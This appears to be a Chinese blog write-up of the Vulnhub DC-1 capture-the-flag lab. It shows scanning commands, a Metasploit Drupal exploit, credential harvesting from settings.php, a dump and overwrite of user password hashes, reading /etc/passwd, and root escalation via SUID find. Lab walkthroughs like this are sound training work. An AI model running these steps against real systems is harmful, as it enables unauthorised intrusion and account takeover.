每周打靶 | Vulnhub-DC1靶机渗透实战
2023-6-30 08:2:4 Author: 网络安全自修室(查看原文) 阅读量:27 收藏

点击上方蓝字关注我们

1
免责声明
      本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,遵守国家相关法律法规,请勿用于违法用途如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
2
内容速览

0x00前言

这是网络安全自修室每周带星球小伙伴一起实战的第1台靶机,欢迎有兴趣的小伙伴一起加入实操,毕竟实践出真知! 靶机可从Vulnhub平台免费下载,并通过虚拟机在本地搭建,渗透实战是一个找寻靶机中的flag的过程,并以获得最终的flag为目标! 

攻击机:Kali Linux 

靶机环境:192.168.241.135

0x01 知识点

  • Drupal CMS
  • Find提权

0x02 信息搜集

通过如下命令,使用ARP协议列出网段内存活的机器,进一步判断靶机的真实地址

sudo arp-scan -l

或者使用nmap 对局域内的主机进行存活扫描,也是可以发现目标靶机

nmap -sn 192.168.241.1/24

端口发现

使用masscan对目标靶机进行全端口探测,需要稍等一会

sudo masscan  --min-rate=10000 -p- 192.168.241.135

可以发现存在80端口,访问发现为Drupal的框架

端口扫描

对存活的端口的服务进一步探测

sudo nmap -O -sV -sC 192.168.241.135 -p 22,80,110 -oN result.xml

综上可知,该靶机的操作系统是linux,仅开放了三个端口,分别为80、22、110在未获取到任何账号密码的情况下,80端口的web服务才是最重要的突破口,且web为显而易见的Drupal 框架,可以尝试使用利用工具进行Getshell

0x03 获取权限

既然知道了CMS为drupal,就打开msf搜索相关的利用模块选择使用第一个,并设置相关配置

use 1

设置目标后,使用exploit -j 命令进行攻击可以看到直接获取到了webshell进入shell进行进一步的信息搜集,发现了第一个flag1.txt可以发现,有flag1.txt,我们打开看一下

翻译可知,每个好的cms都需要一个配置文件,你也一样。提示我们要找到cms配置文件。

然后进入sites/default目录,打开settings.php数据库配置文件

得到数据库账号和密码:dbuser R0ck3t,同时也发现flag2 也赫然在其中显示,并提示我们爆破是行不通的,同时需要进入获取凭证 切换到shell连接mysql,发现不能回显,无法进入交互界面

mysql -udbuser -pR0ck3t

  • 反弹bash,获取到一个可以交互的shell

python -c "import pty;pty.spawn('/bin/bash')" # 获取一个交互shell

  1. 查看网站用户账号密码,发现密码经过加密

select * from users \G;

mysql> select * from users \G;
select * from users \G;
*************************** 1. row ***************************
uid: 0
name:
pass:
mail:
theme:
signature:
signature_format: NULL
created: 0
access: 0
login: 0
status: 0
timezone: NULL
language:
picture: 0
init:
data: NULL
*************************** 2. row ***************************
uid: 1
name: admin
pass: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
mail: [email protected]
theme:
signature:
signature_format: NULL
created: 1550581826
access: 1550583852
login: 1550582362
status: 1
timezone: Australia/Melbourne
language:
picture: 0
init: [email protected]
data: b:0;
*************************** 3. row ***************************
uid: 2
name: Fred
pass: $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
mail: [email protected]
theme:
signature:
signature_format: filtered_html
created: 1550581952
access: 1550582225
login: 1550582225
status: 1
timezone: Australia/Melbourne
language:
picture: 0
init: [email protected]
data: b:0;
3 rows in set (0.00 sec)

根据提示需要进入后台,那直接把admin密码改掉,简单粗暴 直接根据网站本地脚本对设置的密码进行加密

php scripts/password-hash.sh 123456

php scripts/password-hash.sh 123456

password: 123456 hash: $S$DqoimnZKpzNbUFgNiiGexSM.Z29/UXOFtPunnZY0nSHhJBi3RdNP

[email protected]:/var/www$

  • 将加密的密码更新到数据库中
mysql -udbuser -pR0ck3t
use drupaldb;
update users set pass='$S$DRP9A87VYWMUnTb4Dl7yivYAlibCNONO32cCB3Qc1LT5Alr90rAu' where uid=1;
select * from users \G;

通过robots.txt知道登录地址,通过admin登录成功查看flag3 使用设置好的密码:123456,登陆admin账户,在content页面发现了flag3提示我们需要去查找密码,可以从shadow上着手 这里提到了shadow这个单词,于是立即想到/etc/passwd,先打开看看再说 查看用户发现flag4用户

cat /etc/passwd
shell输出
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:104::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
messagebus:x:103:107::/var/run/dbus:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash

直接打开flag4.txt,获取到其中内容提示我们用相同的方式进入root 目录,可以联系到find suid提权 先查看下find是否存在suid权限

find / -perm -u=s 2>/dev/null

很明显find是具备条件的,直接获取到root 权限

find / -exec /bin/bash -p ;

打开root目录下的最后一个flag,至此整个靶机完成通关!

0x04 总结

  • drupal是较为常见的CMS,有众多利用工具,熟练掌握msf,将Getshell的过程可以大大简化
  • shell交互上可以使用python的pty模块快速获取一个交互性强壮的shell便于连接数据库查看回显
  • 读懂提示可以少走很多弯路
  • find的提权注意加-p进入交互模式才能拿到bash

如果想要系统学习网络安全技术

不妨加入知识星球课程

《60天入门网络安全渗透测试》

从入门到案例,贴合实战

轻松易懂、好玩实用

限时领取

知识星球

超值 | 一起学网络安全! 授人以鱼不如授人以渔!

活动优惠券

跟着60天入门学习路线一起学

期待你的到来!

往期推荐

从入门到入狱的技术,可以学,别乱用!

网络安全学习方向和资源整理(建议收藏)

一个web安全工程师的基础学习规划

资源 | 渗透测试工程师入门教程(限时领取)

5年老鸟推荐10个玩Python必备的网站

推荐十个成为网络安全渗透测试大佬的学习必备网站!

那些社工师不为人知的秘密。。。

更多内容请关注公众号

网络安全自修室

回复:”网络安全入门教程
领取系统网络安全学习教程!

点个在看你最好看


文章来源: http://mp.weixin.qq.com/s?__biz=MzI0NDYxMzk1Mg==&mid=2247499143&idx=1&sn=dce830847f3c5672b206ac596f75c34f&chksm=e959aba8de2e22be9a5a3988a974a25598efc120083ae7cb0c6a7afee61a43bf753002e5415d#rd
如有侵权请联系:admin#unsafe.sh